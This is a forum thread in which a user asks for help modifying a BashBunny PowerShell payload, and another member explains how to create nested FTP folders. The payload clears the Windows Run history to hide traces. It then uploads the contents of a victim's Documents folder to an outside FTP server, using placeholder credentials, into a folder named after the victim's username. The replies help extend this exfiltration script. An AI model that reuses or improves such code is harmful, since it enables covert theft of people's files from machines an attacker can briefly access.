Help with powershell

[sajansen]

Hey,

I was looking in to a BashBunny payload that uploads files to a ftp server. I would like to edit it a little bit to create an extra folder where to it uploads.

Right now it creates /<username>/ and puts everything there. What i would like to do is /<username>/<subfolder1>/ and put everything there. Eventually i would like to add a second folder to the script by just simply copying the same script and change the folder from lets say Documents to Desktop and upload that as wel. And the subfolders are so everything looks nice on the FTP side. not everything mashed into one folder.

 

PS. I'm new to powershell so im sorry if its a stupid question. Also my first post here... so let me know if i need to post this somewhere else :)
 

#Author:        Nutt

clear
#Clear Run History
remove-item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# Credit to dkittell - https://gist.github.com/dkittell/f029b6c7d1c46ebcffcb
# I've modified a bit of his code to create a directory with the username, I'm sure there is a better way to do this but not sure how

# FTP Server Variables - edit the xxxxx
$FTPHost = 'XXXXXXXXX' + $env:username + '/'
$FTPUser = 'XXXXX'
$FTPPass = 'XXXXX'
 
#Directory where to find files to upload
$UploadFolder = "$env:userprofile\Documents\test\"
 
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($FTPUser,$FTPPass)  
 
$SrcEntries = Get-ChildItem $UploadFolder -Recurse
$Srcfolders = $SrcEntries | Where-Object{$_.PSIsContainer}
$SrcFiles = $SrcEntries | Where-Object{!$_.PSIsContainer}

#Creates Folder with victims Username
try {
$makeDirectory = [System.Net.WebRequest]::Create($FTPHost);
$makeDirectory.Credentials = New-Object System.Net.NetworkCredential($FTPUser,$FTPPass);
$makeDirectory.Method = [System.Net.WebRequestMethods+FTP]::MakeDirectory;
$makeDirectory.GetResponse();
}
catch [Net.WebException] {}

# Create FTP Directory/SubDirectory If Needed - Start
foreach($folder in $Srcfolders)
{    
    $SrcFolderPath = $UploadFolder  -replace "\\","\\" -replace "\:","\:"   
    $DesFolder = $folder.Fullname -replace $SrcFolderPath,$FTPHost
    $DesFolder = $DesFolder -replace "\\", "/"
    # Write-Output $DesFolder
 
    try
        {
            $makeDirectory = [System.Net.WebRequest]::Create($DesFolder);
            $makeDirectory.Credentials = New-Object System.Net.NetworkCredential($FTPUser,$FTPPass);
            $makeDirectory.Method = [System.Net.WebRequestMethods+FTP]::MakeDirectory;
            $makeDirectory.GetResponse();
            #folder created successfully
        }
    catch [Net.WebException]
        {
            try {
                #if there was an error returned, check if folder already existed on server
                $checkDirectory = [System.Net.WebRequest]::Create($DesFolder);
                $checkDirectory.Credentials = New-Object System.Net.NetworkCredential($FTPUser,$FTPPass);
                $checkDirectory.Method = [System.Net.WebRequestMethods+FTP]::PrintWorkingDirectory;
                $response = $checkDirectory.GetResponse();
                #folder already exists!
            }
            catch [Net.WebException] {
                #if the folder didn't exist
            }
        }
}
# Create FTP Directory/SubDirectory If Needed - Stop

 

[PoSHMagiC0de]

This script is not dynamic and would take some work to get it there where you can specify dynamic arguments on launch.  It will have to be turned into a module or function with parameters.

 

But to answer your question about the first part of adding folders, I have not used .NET for FTP stuff but reading through it looks like you will need to create each folder one by one depending on how deep you want to go.  it is done by changing the host to the url and folder you are creating.

ftp://my.ftp.server/folder1

then create your folder2 underneath on next request to

ftp://my.ftp.server/folder1/folder2

 

Looks like the $ftphost variable should be just the server like "ftp://my.ftp.server" and then have another variable for the path like:

$ftppath = "/folder1/folder2/"

The tricky part comes where you will have to split that and make requests to the server to create each folder.  An example of this is lower in the body where the script grabs all the folders first and then creates them on the ftp server before copying the files.

If I created this script I would have made it a function with parameters for ftpserver, targetdest. ftpuser, ftppass, targetsource.

Where targetdest is the ftp server path and the targetsource is the folder on the machine I am copying.  Probably would add port also just in case the port is not standard and made it optional with a default of 21.

Even with me it would probably take a half a day or maybe a day to re-write it (if I had the time to) but yeah.  This Powershell is using .NET so you will need to look up the .NET webrequest and FTPMethods and FTPWebRequest methods to see how they work.

The below shows a StackOverflow article in C sharp (almost like powershell) of a method creating subfolders with FTP.  You will notice it is in a foreach loop.

https://stackoverflow.com/questions/860638/how-do-i-create-a-directory-on-ftp-server-using-c

 

[sajansen]

Thanks a lot. For now i changed it to work the other way round, i have the documents and desktop folders first and then the username folder... i know its not as clean as what it could have been but its the fastest way to “fix” it. When i come across a better one or when i figgure out how to make one myself ill make it all nice and neet :)